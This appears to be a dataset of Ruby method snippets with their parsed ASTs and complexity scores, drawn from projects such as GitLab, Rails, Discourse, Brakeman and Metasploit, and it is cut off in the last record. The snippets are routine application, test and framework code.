{"repo_name":"openproject","file_path":"./repos/openproject/app/models/activities/changeset_activity_provider.rb","start_line":96,"raw_source":"def event_url(event)\n    url_helpers.revisions_project_repository_url(url_helper_parameter(event))\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"event_url\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"event\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"url_helpers\"]},\"revisions_project_repository_url\",{\"type\":\"send\",\"children\":[null,\"url_helper_parameter\",{\"type\":\"lvar\",\"children\":[\"event\"]}]}]}]}","id":"8faa27f2-3c24-4371-bd40-2b4445b0b44c"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/apps/rails6/app/models/group.rb","start_line":33,"raw_source":"def use_enum\n    # No warning\n    self.where(\"thing IN #{Group.statuses.values_at(*[:start, :stop]).join(',')}\")\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"use_enum\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"where\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"thing IN \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Group\"]},\"statuses\"]},\"values_at\",{\"type\":\"splat\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"start\"]},{\"type\":\"sym\",\"children\":[\"stop\"]}]}]}]},\"join\",{\"type\":\"str\",\"children\":[\",\"]}]}]}]}]}]}","id":"69e5eeda-2c78-434f-865a-ec836d822121"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/api/appearance.rb","start_line":11,"raw_source":"def current_appearance\n        @current_appearance ||= (::Appearance.current || ::Appearance.new)\n      end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"current_appearance\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@current_appearance\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Appearance\"]},\"current\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Appearance\"]},\"new\"]}]}]}]}]}","id":"f1d5f1ed-38a3-4ee0-a203-47fece066cf8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/projects/artifacts_controller.rb","start_line":84,"raw_source":"def raw\n    return render_404 unless zip_artifact?\n    return render_404 unless artifact_file\n\n    path = Gitlab::Ci::Build::Artifacts::Path.new(params[:path])\n\n    send_artifacts_entry(artifact_file, path)\n  end","complexity_score":13.0,"ast_json":"{\"type\":\"def\",\"children\":[\"raw\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"zip_artifact?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"render_404\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"artifact_file\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"render_404\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Ci\"]},\"Build\"]},\"Artifacts\"]},\"Path\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"path\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"send_artifacts_entry\",{\"type\":\"send\",\"children\":[null,\"artifact_file\"]},{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]}","id":"b1a9472d-1b64-419b-8d03-492f5115d1cb"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/metasploit/framework/login_scanner/base.rb","start_line":87,"raw_source":"def initialize(attributes={})\n            attributes.each do |attribute, value|\n              public_send(\"#{attribute}=\", value)\n            end\n            set_sane_defaults\n          end","complexity_score":5.1,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"attributes\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attribute\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[null,\"public_send\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attribute\"]}]},{\"type\":\"str\",\"children\":[\"=\"]}]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]},{\"type\":\"send\",\"children\":[null,\"set_sane_defaults\"]}]}]}","id":"1ef78b3f-1500-4d3e-bd6c-554742f4b1fe"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/modules/metadata/cache.rb","start_line":159,"raw_source":"def initialize\n    super\n    @mutex = Mutex.new\n    @module_metadata_cache = {}\n    @store_loaded = false\n    @console = Rex::Ui::Text::Output::Stdio.new\n    @load_thread = Thread.new {\n      init_store\n      @store_loaded = true\n    }\n  end","complexity_score":11.4,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@mutex\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Mutex\"]},\"new\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@module_metadata_cache\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@store_loaded\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@console\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Ui\"]},\"Text\"]},\"Output\"]},\"Stdio\"]},\"new\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@load_thread\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Thread\"]},\"new\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"init_store\"]},{\"type\":\"ivasgn\",\"children\":[\"@store_loaded\",{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]}","id":"ae7e0234-1b04-4d2b-8057-a48dd6aef4a3"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/benchmark.rb","start_line":15,"raw_source":"def self.realtime(unit = :float_second, &block)\n      time_start = Process.clock_gettime(Process::CLOCK_MONOTONIC, unit)\n      yield\n      Process.clock_gettime(Process::CLOCK_MONOTONIC, unit) - time_start\n    end","complexity_score":6.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"realtime\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"unit\",{\"type\":\"sym\",\"children\":[\"float_second\"]}]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"time_start\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Process\"]},\"clock_gettime\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Process\"]},\"CLOCK_MONOTONIC\"]},{\"type\":\"lvar\",\"children\":[\"unit\"]}]}]},{\"type\":\"yield\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Process\"]},\"clock_gettime\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Process\"]},\"CLOCK_MONOTONIC\"]},{\"type\":\"lvar\",\"children\":[\"unit\"]}]},\"-\",{\"type\":\"lvar\",\"children\":[\"time_start\"]}]}]}]}","id":"c1ad0bbb-80cf-4e65-a37f-78936bb733fd"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/fixtures_test.rb","start_line":1388,"raw_source":"def test_generates_unique_ids\n    assert_not_nil(parrots(:george).id)\n    assert_not_equal(parrots(:george).id, parrots(:louis).id)\n  end","complexity_score":9.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_generates_unique_ids\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_not_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parrots\",{\"type\":\"sym\",\"children\":[\"george\"]}]},\"id\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parrots\",{\"type\":\"sym\",\"children\":[\"george\"]}]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parrots\",{\"type\":\"sym\",\"children\":[\"louis\"]}]},\"id\"]}]}]}]}","id":"0b4066ec-5dfe-4288-939c-4351875e1747"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/concerns/packages/cleanup_artifact_worker.rb","start_line":80,"raw_source":"def next_item\n      model.next_pending_destruction(order_by: :updated_at)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"next_item\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"next_pending_destruction\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"order_by\"]},{\"type\":\"sym\",\"children\":[\"updated_at\"]}]}]}]}]}","id":"bb31f22e-d5ec-49c3-aca9-d4e60dc42ba1"}
{"repo_name":"discourse","file_path":"./repos/discourse/migrations/lib/database/schema/config_validator.rb","start_line":34,"raw_source":"def validate_output_config(config)\n      Validation::OutputConfigValidator.new(config, @errors).validate\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_output_config\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"config\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Validation\"]},\"OutputConfigValidator\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"config\"]},{\"type\":\"ivar\",\"children\":[\"@errors\"]}]},\"validate\"]}]}","id":"a9331dae-5801-426a-8cde-dd4a3e5bee11"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/primary_class_test.rb","start_line":34,"raw_source":"def test_primary_class_and_primary_abstract_class_behavior\n    PrimaryClassTest::PrimaryAppRecord.primary_abstract_class\n\n    assert_predicate PrimaryClassTest::PrimaryAppRecord, :primary_class?\n    assert_predicate PrimaryClassTest::PrimaryAppRecord, :application_record_class?\n    assert_predicate PrimaryClassTest::PrimaryAppRecord, :abstract_class?\n\n    assert_not_predicate AnotherAppRecord, :primary_class?\n    assert_not_predicate AnotherAppRecord, :application_record_class?\n    assert_predicate AnotherAppRecord, :abstract_class?\n\n    assert_predicate ActiveRecord::Base, :primary_class?\n    assert_not_predicate ActiveRecord::Base, :application_record_class?\n    assert_not_predicate ActiveRecord::Base, :abstract_class?\n  ensure\n    ActiveRecord.application_record_class = nil\n  end","complexity_score":12.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_primary_class_and_primary_abstract_class_behavior\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PrimaryClassTest\"]},\"PrimaryAppRecord\"]},\"primary_abstract_class\"]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PrimaryClassTest\"]},\"PrimaryAppRecord\"]},{\"type\":\"sym\",\"children\":[\"primary_class?\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PrimaryClassTest\"]},\"PrimaryAppRecord\"]},{\"type\":\"sym\",\"children\":[\"application_record_class?\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PrimaryClassTest\"]},\"PrimaryAppRecord\"]},{\"type\":\"sym\",\"children\":[\"abstract_class?\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_predicate\",{\"type\":\"const\",\"children\":[null,\"AnotherAppRecord\"]},{\"type\":\"sym\",\"children\":[\"primary_class?\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_predicate\",{\"type\":\"const\",\"children\":[null,\"AnotherAppRecord\"]},{\"type\":\"sym\",\"children\":[\"application_record_class?\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"const\",\"children\":[null,\"AnotherAppRecord\"]},{\"type\":\"sym\",\"children\":[\"abstract_class?\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},{\"type\":\"sym\",\"children\":[\"primary_class?\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_predicate\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},{\"type\":\"sym\",\"children\":[\"application_record_class?\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_predicate\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},{\"type\":\"sym\",\"children\":[\"abstract_class?\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"application_record_class=\",{\"type\":\"nil\",\"children\":[]}]}]}]}","id":"6a600972-296e-4a93-8896-2fc3200036f7"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/onebox.rb","start_line":41,"raw_source":"def self.has_matcher?(url)\n    !!Matcher.new(url).oneboxed\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"has_matcher?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"url\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Matcher\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"url\"]}]},\"oneboxed\"]},\"!\"]},\"!\"]}]}","id":"7f84ce38-4018-4532-ba86-73b4044f4e0a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/namespace_statistics.rb","start_line":31,"raw_source":"def update_storage_size\n    # This prevents failures with older database schemas, such as those\n    # in migration specs.\n    return unless self.class.database.cached_column_exists?(:dependency_proxy_size)\n\n    self.storage_size = dependency_proxy_size\n  end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"update_storage_size\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"database\"]},\"cached_column_exists?\",{\"type\":\"sym\",\"children\":[\"dependency_proxy_size\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"storage_size=\",{\"type\":\"send\",\"children\":[null,\"dependency_proxy_size\"]}]}]}]}","id":"20180bfc-1e4b-4787-87e0-a5d749408817"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/metric/ci_mixin/targets.rb","start_line":2,"raw_source":"def perf_capture_always?\n    case self\n    # For now allowing capturing for all OpenstackInfra hosts and clusters\n    when ManageIQ::Providers::Openstack::InfraManager::Host, ManageIQ::Providers::Openstack::InfraManager::Cluster then true\n    when ManageIQ::Providers::Kubernetes::ContainerManager::Container then true\n    when ManageIQ::Providers::Kubernetes::ContainerManager::ContainerGroup then true\n    when ManageIQ::Providers::Kubernetes::ContainerManager::ContainerNode then true\n    when Service then true\n    # going to treat an availability_zone like a host wrt perf_capture settings\n    when Host, EmsCluster, AvailabilityZone, HostAggregate then Metric::Targets.perf_capture_always[:host_and_cluster]\n    when Storage then                            Metric::Targets.perf_capture_always[:storage]\n    else;                                    false\n    end\n  end","complexity_score":13.9,"ast_json":"{\"type\":\"def\",\"children\":[\"perf_capture_always?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"case\",\"children\":[{\"type\":\"self\",\"children\":[]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ManageIQ\"]},\"Providers\"]},\"Openstack\"]},\"InfraManager\"]},\"Host\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ManageIQ\"]},\"Providers\"]},\"Openstack\"]},\"InfraManager\"]},\"Cluster\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ManageIQ\"]},\"Providers\"]},\"Kubernetes\"]},\"ContainerManager\"]},\"Container\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ManageIQ\"]},\"Providers\"]},\"Kubernetes\"]},\"ContainerManager\"]},\"ContainerGroup\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ManageIQ\"]},\"Providers\"]},\"Kubernetes\"]},\"ContainerManager\"]},\"ContainerNode\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Service\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Host\"]},{\"type\":\"const\",\"children\":[null,\"EmsCluster\"]},{\"type\":\"const\",\"children\":[null,\"AvailabilityZone\"]},{\"type\":\"const\",\"children\":[null,\"HostAggregate\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metric\"]},\"Targets\"]},\"perf_capture_always\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"host_and_cluster\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Storage\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metric\"]},\"Targets\"]},\"perf_capture_always\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"storage\"]}]}]},{\"type\":\"false\",\"children\":[]}]}]}","id":"62dbf556-4855-43b6-951a-06e638449197"}
{"repo_name":"forem","file_path":"./repos/forem/spec/services/notifications/reactions/send_spec.rb","start_line":11,"raw_source":"def reaction_data(reaction)\n    Notifications::Reactions::ReactionData.coerce(reaction).to_h\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"reaction_data\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"reaction\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Notifications\"]},\"Reactions\"]},\"ReactionData\"]},\"coerce\",{\"type\":\"lvar\",\"children\":[\"reaction\"]}]},\"to_h\"]}]}","id":"161b06a5-1dd1-4e07-85cf-84170cf4c8de"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/work_items/data_sync/move_service.rb","start_line":34,"raw_source":"def close_original_work_item(current_user, new_work_item, original_work_item)\n          context = { original: original_work_item, user: current_user }\n\n          # We need this because move work item is supposed to work with epics and for EpicWorkItem\n          # Issues::CloseService. Because this is being run within a transaction,\n          # we are delaying the close operation until after commit.\n          new_work_item.run_after_commit_or_now do\n            close_service = ::Issues::CloseService.new(\n              container: context[:original].namespace, current_user: context[:user]\n            )\n            close_service.execute(context[:original], notifications: false, system_note: true)\n          end\n        end","complexity_score":12.4,"ast_json":"{\"type\":\"def\",\"children\":[\"close_original_work_item\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"current_user\"]},{\"type\":\"arg\",\"children\":[\"new_work_item\"]},{\"type\":\"arg\",\"children\":[\"original_work_item\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"context\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"original\"]},{\"type\":\"lvar\",\"children\":[\"original_work_item\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"current_user\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_work_item\"]},\"run_after_commit_or_now\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"close_service\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Issues\"]},\"CloseService\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"container\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"context\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"original\"]}]},\"namespace\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"current_user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"context\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"close_service\"]},\"execute\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"context\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"original\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"notifications\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"system_note\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]}]}","id":"17904c83-e1dd-41bf-be34-eaedfeaa0f1b"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/digestor_test.rb","start_line":54,"raw_source":"def test_explicit_dependency_wildcard\n    assert_digest_difference(\"events/index\") do\n      change_template(\"events/_completed\")\n    end\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_explicit_dependency_wildcard\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_digest_difference\",{\"type\":\"str\",\"children\":[\"events/index\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"change_template\",{\"type\":\"str\",\"children\":[\"events/_completed\"]}]}]}]}","id":"941d9f8b-95d2-4b3d-a7e3-8a018950f917"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/audit_events/common_model.rb","start_line":144,"raw_source":"def default_author_value\n      ::Gitlab::Audit::NullAuthor.for(author_id, self)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"default_author_value\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"Audit\"]},\"NullAuthor\"]},\"for\",{\"type\":\"send\",\"children\":[null,\"author_id\"]},{\"type\":\"self\",\"children\":[]}]}]}","id":"23e23840-7fa9-4eaa-ad0b-1b762d9862b4"}
{"repo_name":"puma","file_path":"./repos/puma/test/test_config.rb","start_line":570,"raw_source":"def test_silence_single_worker_warning_default\n    conf = Puma::Configuration.new\n    conf.load\n\n    assert_equal false, conf.options[:silence_single_worker_warning]\n  end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_silence_single_worker_warning_default\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"conf\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Puma\"]},\"Configuration\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conf\"]},\"load\"]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"false\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conf\"]},\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"silence_single_worker_warning\"]}]}]}]}]}","id":"fe287999-b1bd-4738-b8fb-6508e83ba646"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb","start_line":675,"raw_source":"def validate_pids(pids, allow_pid_0 = false, allow_session_pid = false)\n\n    return [] if (pids.class != Array or pids.empty?)\n    valid_pids = []\n    # to minimize network traffic, we only get host processes once\n    host_processes = client.sys.process.get_processes\n    if host_processes.length < 1\n      print_error \"No running processes found on the target host.\"\n      return []\n    end\n\n    # get the current session pid so we don't suspend it later\n    mypid = client.sys.process.getpid.to_i\n\n    # remove nils & redundant pids, convert to int\n    clean_pids = pids.compact.uniq.map{|x| x.to_i}\n    # now we look up the pids & remove bad stuff if nec\n    clean_pids.delete_if do |p|\n      ( (p == 0 and not allow_pid_0) or (p == mypid and not allow_session_pid) )\n    end\n    clean_pids.each do |pid|\n      # find the process with this pid\n      theprocess = host_processes.find {|x| x[\"pid\"] == pid}\n      if ( theprocess.nil? )\n        next\n      else\n        valid_pids << pid\n      end\n    end\n    valid_pids\n  end","complexity_score":56.9,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_pids\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pids\"]},{\"type\":\"optarg\",\"children\":[\"allow_pid_0\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"allow_session_pid\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pids\"]},\"class\"]},\"!=\",{\"type\":\"const\",\"children\":[null,\"Array\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pids\"]},\"empty?\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"valid_pids\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"host_processes\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"sys\"]},\"process\"]},\"get_processes\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host_processes\"]},\"length\"]},\"<\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"No running processes found on the target 